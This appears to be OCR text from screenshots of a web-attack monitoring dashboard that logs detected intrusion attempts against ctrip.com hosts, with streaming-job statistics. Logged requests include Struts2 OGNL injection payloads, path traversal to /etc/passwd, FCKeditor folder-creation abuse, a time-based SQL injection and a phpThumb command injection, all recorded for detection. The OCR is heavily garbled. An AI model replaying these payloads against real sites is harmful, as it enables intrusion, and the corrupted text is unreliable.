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D HBAFiE &~ ) g s3] EIp
AV _CutxllHOdevBwlk 2017-11-16 XHE-1010 27.151.112.217 1 POST knair.flights.ctrip.com/lcds/messagebroker/http
Zel 10:49:05
AV_Cuge2lHodevBw  2017-11-16 XXE-1010 27.151.112.217 1 POST knair.flights.ctrip.com/messagebroker/http
kBfb 10:48:11
AN _CufoelHOdevBw  2017-11-16 HHE-1010 27.151.112.217 1 POST knair.flights.ctrip.com/lcds/messagebroker/http
kAEU 10:48:08
AV_CugHsiHO46vBw  2017-11-16 Infoleak-1006 27.151.112.217 1 GET knair.flights.ctrip.com/.bash_history
kA2y 10:48:08
AV_CufINvZKjZyxKT  2017-11-16 RFI-1004 27.151.112.217 1 GET knair.flights.ctrip.com/scripts/bb-hostsve.sh?HOSTSVC=.. f «o f oo f .. f .. f et/ passwd
ZMm 10:48:06
AV_CufINvZKjZyxKT  2017-11-16 InfolLeak-1006 27.151.112.217 1 GET knair.flights.ctrip.com/ scripts/settings/site.ini
ZMNg 10:48:05

GET : knair.flights.ctrip.com/scripts/settings/site.ini

Host : knair.flights.ctrip.com

PostData :

Referer :

User-Agent : Mozilla/4.0 {compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
0 Y

Status-Code : 430

KiE : EEEM
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Spark 412H }

ache Spark™ is a fast and general engine for large-scale data processing.

Spark Core
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rule_result

white

url

hotels. ct
rip.com:38
0/hotel /4
GBB225. ht
ml

vou.ctrip
.com:80/s
ightTist/
chungcheo
ngnamld4s
. html

wou.ctrip
.com:80/s
ightlist/
chungcheo
ngnamld4s
. html

wou.ctrip
.com:80/=
ightlist/
chungcheo
ngnamld4s
. htm1

postdata

(%23_memberAccess%3dREogn]. OgnlContext@DEFAULT_MEMBER_ACCESS)%3T (%23reg%3d%40org. apache. struts2. ServietactionContexti40getRequest () ,%23res%3d%4
Jorg. apache. struts2. ServietactionContext%40getResponse() ,%23res. setCharacterEncoding (%2 3parameters. encoding[0]) , %2 3w&3d%23res. getWriter (), %2 3w
prant (%23parameters.web [0]) ,%23w. print (%2 3parameters. path [0]),%23w. close()) :xx. to5tring. JjsonT&pp=%2T&encoding=UTF-8&web=security_&path=check

Tellsdlo0ddc
Content-Disposition: form-data; name="test"; filename="%{(#Ftest="multipart/form-data"). (#dm=RognTl.0gnlContext@DEFAULT_MEMBER_ACCESS).
(#_membericcess?{(# _memberAccess=#dm) : { (Fcontainer=g¢context [ " com. opensymphony. xwork?2 . Act1onContext. container']).
(#ognlUtiT=#container. getInstance(@com. opensymphony. xwork2. ognl.dgnTuti11@class)) . (FognlUtil. getExcludedPackageNames (). clear ().
(ZFognTUti1. getExcludedClasses{).clear()). (#context. setMemberaccess (#dm)))). (#reg=2org. apache. struts2. ServietActionContext@getRequest()).
(#res=dorg. apache. struts2. ServietActionlontext@getResponse()). (#res. setContentType( "text //htm]l; charset=UTF-8")).

T T PR S - P T L S L T TP P S R o A T L [} T T P, S I £ o B oy PRI S E—— iy P

method :%23_memberAccess%3d2ogn]. OgnTContext@DEFAULT_MEMBER_ACCESS,%23regf3d%40org. apache. struts2. ServietActionContexti40getRequest () %2 3res%3d
%400rg. apache. struts2. ServietaActionContext%40getResponse) ,%23res. setCharacterEncoding (%2 3parameters. encoding [0]) ,%23w%3d%23res. getWriter (0, %2
3w, print (%23parameters.web[0]),%23w. print (%23parameters. path[0]),%23w. close() ,17%23xx 1%23request. tostring&pp=%2f&encoding=UTF-
BE&web=security_&path=check

debug=command&expression=%23regfidiz 3context. get (%27 co%2 T%2b%2 Tm. opent2 7%2b%2 7 symphony . xwofez2 T2 b%2 7rk2. dispfk2 THzb%2 Fatcher . HbtpSer%2THzh&%27vle
tReq#27%2b%27uest%27) ,%23respf3d%2 Icontext. get (%27 cof27%2Zh%27m. open®2 7%2b%2 7 symphony . xwoSs27%2b%27rk2 . disp%27%2b%27atcher . HttpSer%2 7%2b%27v 1 etR
es%2T%2b%27 ponseX27 ) ,%23resp. setCharacterEncoding (%27 UTF- E}

B%27),%23resp. getWriter (. print (%22security_%22) ,%23resp. getWriter (. print (%822check®22) ,%23resp. getWriter (). Tlush() ,%23resp. getWriter (). close(
J



rule_result wrl

white zhair.fTights. cktrip. com/images Supload,/Tckimg,/  editor 1 lemanager /browser default connectors  aspx/connector
Command=GetFolders&Type=FileflurrentFolder=%2F

zhair.f1ights. ctrip. com/editorl/ 'editor /1 Temanager /browser /default /connectors faspx,/connector. aspx?
Command=GetFolders&Type=File&lurrentFolder=%2F

zhair.f1ights. ctrip. com/ admin/ck,/ editor /1 1emanager /connectors faspx,/connector. aspx?
Command=GetFolders&Type=Filef&lurrentFolder=%2F

zhair.fTights. ctrip. com/1ncludes fckeditor feditor /1 lemanager /connectors faspx/ upload. aspx?
Command=CreateFolder&Type=MediaflurrentFolder=ali. asp&NewFolderName=haclk. asp

zhair.fTights. ctrip. com/manage/fckeditor / /editor £1lemanager /connectors /aspx/connector. aspx?
Command=GetFolders&Type=F1le&lurrentFolder=%2F

zhair.fTights. ctrip. com/1ncludes fockeditor feditor /f1lemanager /browser /default /connectors /aspx/connector. aspx?
Command=CreateFolder&Type=Media&CurrentFolder=ali. asp&NewFolderName=hack. asp

zhair.flights. ctrip. com/Tckeditor feditor 1 lemanager /connectors aspx/connector. aspx?
Command=CreateFolder&Type=Media&lurrentFolder=ali. asp&NewFolderName=hack. asp

zhair.f1ights. ctrip. com/1mages fupload,/Tckediter/ editor 1 Temanager browser /default/connectors faspx,/connector. aspx?
CDﬂﬂaﬂd=GEtFD1dEPS&TypE=Ff1EﬁCUPPEﬁEFD1dEP=%2F

zhair.f1ights. ctrip. com/ 1 nclude,/Tckeditor,/  editor /1 1emanager /connectors aspx,/ connector. aspx?
Command=GetFolders&Type=Filef&lurrentFolder=%2F













Batch Time Input Size Scheduling Delay (¥ Processing Time |
2017/09/13 15:17:00 150060 records 1ms 125 B
2017/09/13 15:16:00 141986 records 0 ms 125

2017/09M3 15:15:00 139310 records 1 ms

2017/09/13 15:14:00 143154 records 0 ms

2017/09/13 15:13:00 141412 records 0 ms

2017/09/13 15:12:00 144183 records

2017/09/13 15:11:00 138273 records

2017/09/13 15:10:00 136210 records

2017/09/M13 15:09:00 136938 records

2017/09/13 15:08:00 137362 records

2017/09/M13 15:07:00 138267 records

2017/09M13 15:06:00 139190 records

2017/09/13 15:05:00 137216 records
2017/09/M13 15:04:00 135794 records

2017/09/M13 15:03:00 138136 records
2017/09/M13 15:02:00 139489 records
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hit_rule @ @ M * 50Li-0205

host G 6 [ % ru.ctrip.com

1s_black @ Q [ & true

methed Q4 hit_rule

5QL7-0205

port aQ host

postdata @ q

es, ctrip. com

1s_black true

referer @ q method GET

rule_result @ Q

port 20

=1p aQ postdata

status Q q referer

1 waitfor delay "0:0:9°

uagent a q rule_result
uri e q sip

url a q status

black

60.217.241.183
200
Mazi11a/5.0 (Windows NT &6.1; WOwWe4) ApplewebKit/337.21 (KHTML, 1ike Gecko) Chrome/41.0.2228.0 Safari/537.21

uagent

uri Jhotels/11jiang-hotels-115t-37/

* ¥ H ¥ F ¥ | W | W ¥ ¥ W ¥ | W

url ez, ctrip. com/hotels/T1j31ang-hotels-11st-37/




Mowvember

Mowvember

Mowvember

Howvember

Mowvember

Mowvember

Mowvember

Wowvember

Mowvember

Howvember

Mowvember

Mowvember

Mowvember

Jhotels/

Jhotels/

Jhotels/

Jhotels/

Jhotels/

Jhotels/

Jhotels )/

Jhotels/

Jhotels/

Jhotels/

Jhotels/

Jhotels/

Jhotels/

guangzhou-hotels-Tist-32/

bali-hotels-11st-723/

»i-an-hotels-Tist-10/

macau-hotels-T1st-39/

Tijiang-hotels-Ti1st-37/

macau-hotels-11st-39/

wuhan-hotels-11st-477/

macau-hotels-1ist-39/

Tijiang-hotels-Ti1st-37/

Tijiang-hotels-Tist-37/

hong-kong-hotels-11st-38/

ningbo-hotels-Tist-375/

guangzhou-hotels-11st-32/

e0.217.
241,183

101, 227
.16.115

227
115

227
.16.115

e60.217.
241,183

101. 227
.16.115

227
115

227
115

227
115

. 227
20,219

60.217.
241.183

101, 227
20,219

60.217.
241.183




®50.217.241.183
® 103.224.81.2
. 222191177182
® 101.227.20.219
® 101.227.16.115
220.200.1.65
172.246.156.928
®42.184.185.123
® 42184 185.45
® 194.258.115.252

=

filters

ile_ml_Es=ss

Movember 17th 2017, 13:29:24,958 dst.crip.comd.irbrc 60.217.2
41,183

Movember 17th 2017, 13:29:24.515 dstcrip.comfwp-content/plugins/wp-slimstat- 80.217.2
exflib/ofc/ php-ofc-libraryfofc_uplead_image.php? 41,183

name=acunetix_test

Movember 17th 2017, 13:29:24,495 dst.cmrip.comfwp-content/plugins/wp-slimstat-
exflib/ofc/ php-ofc-libraryfofc_uplead_image.php?

name=acunetix_test

Movember 17th 2017, 13:29:23.798 dst.crip.comdlib/phpThumb/phpThumb.php?
src=Jindex. php&fltr=blur| 5;echo+082119f75623eb7ab
d7bf3578S8ffobcrcachelacunetix

Movember 17th 2017, 13:29:23.772 dst.crip.comd. htaccess.sawve 60.217.2
41,183

Movember 17th 2017, 13:20:23.349  white dst.crip.comdflocalconfig.php 60.217.2
41,183

Movember 17th 2017, 13:28:05.394 white dst.cmrip. comdM 908062 %40 860.217.2
41183

Movember 17th 2017, 13:28:04.881 white dst.crip.comdfoonfiginc.php 60.217.2
41,183

Movember 17th 2017, 13:28:04.318  white dst.cirip.comfincludesfofc/phplfofc_upload_image.php? B0.217.2
name=acunetix_test 41,183

Movember 17th 2017, 13:28:03.820 white dst.cmrip.comfadministrator/components/com_jnewsincl 60.217.2
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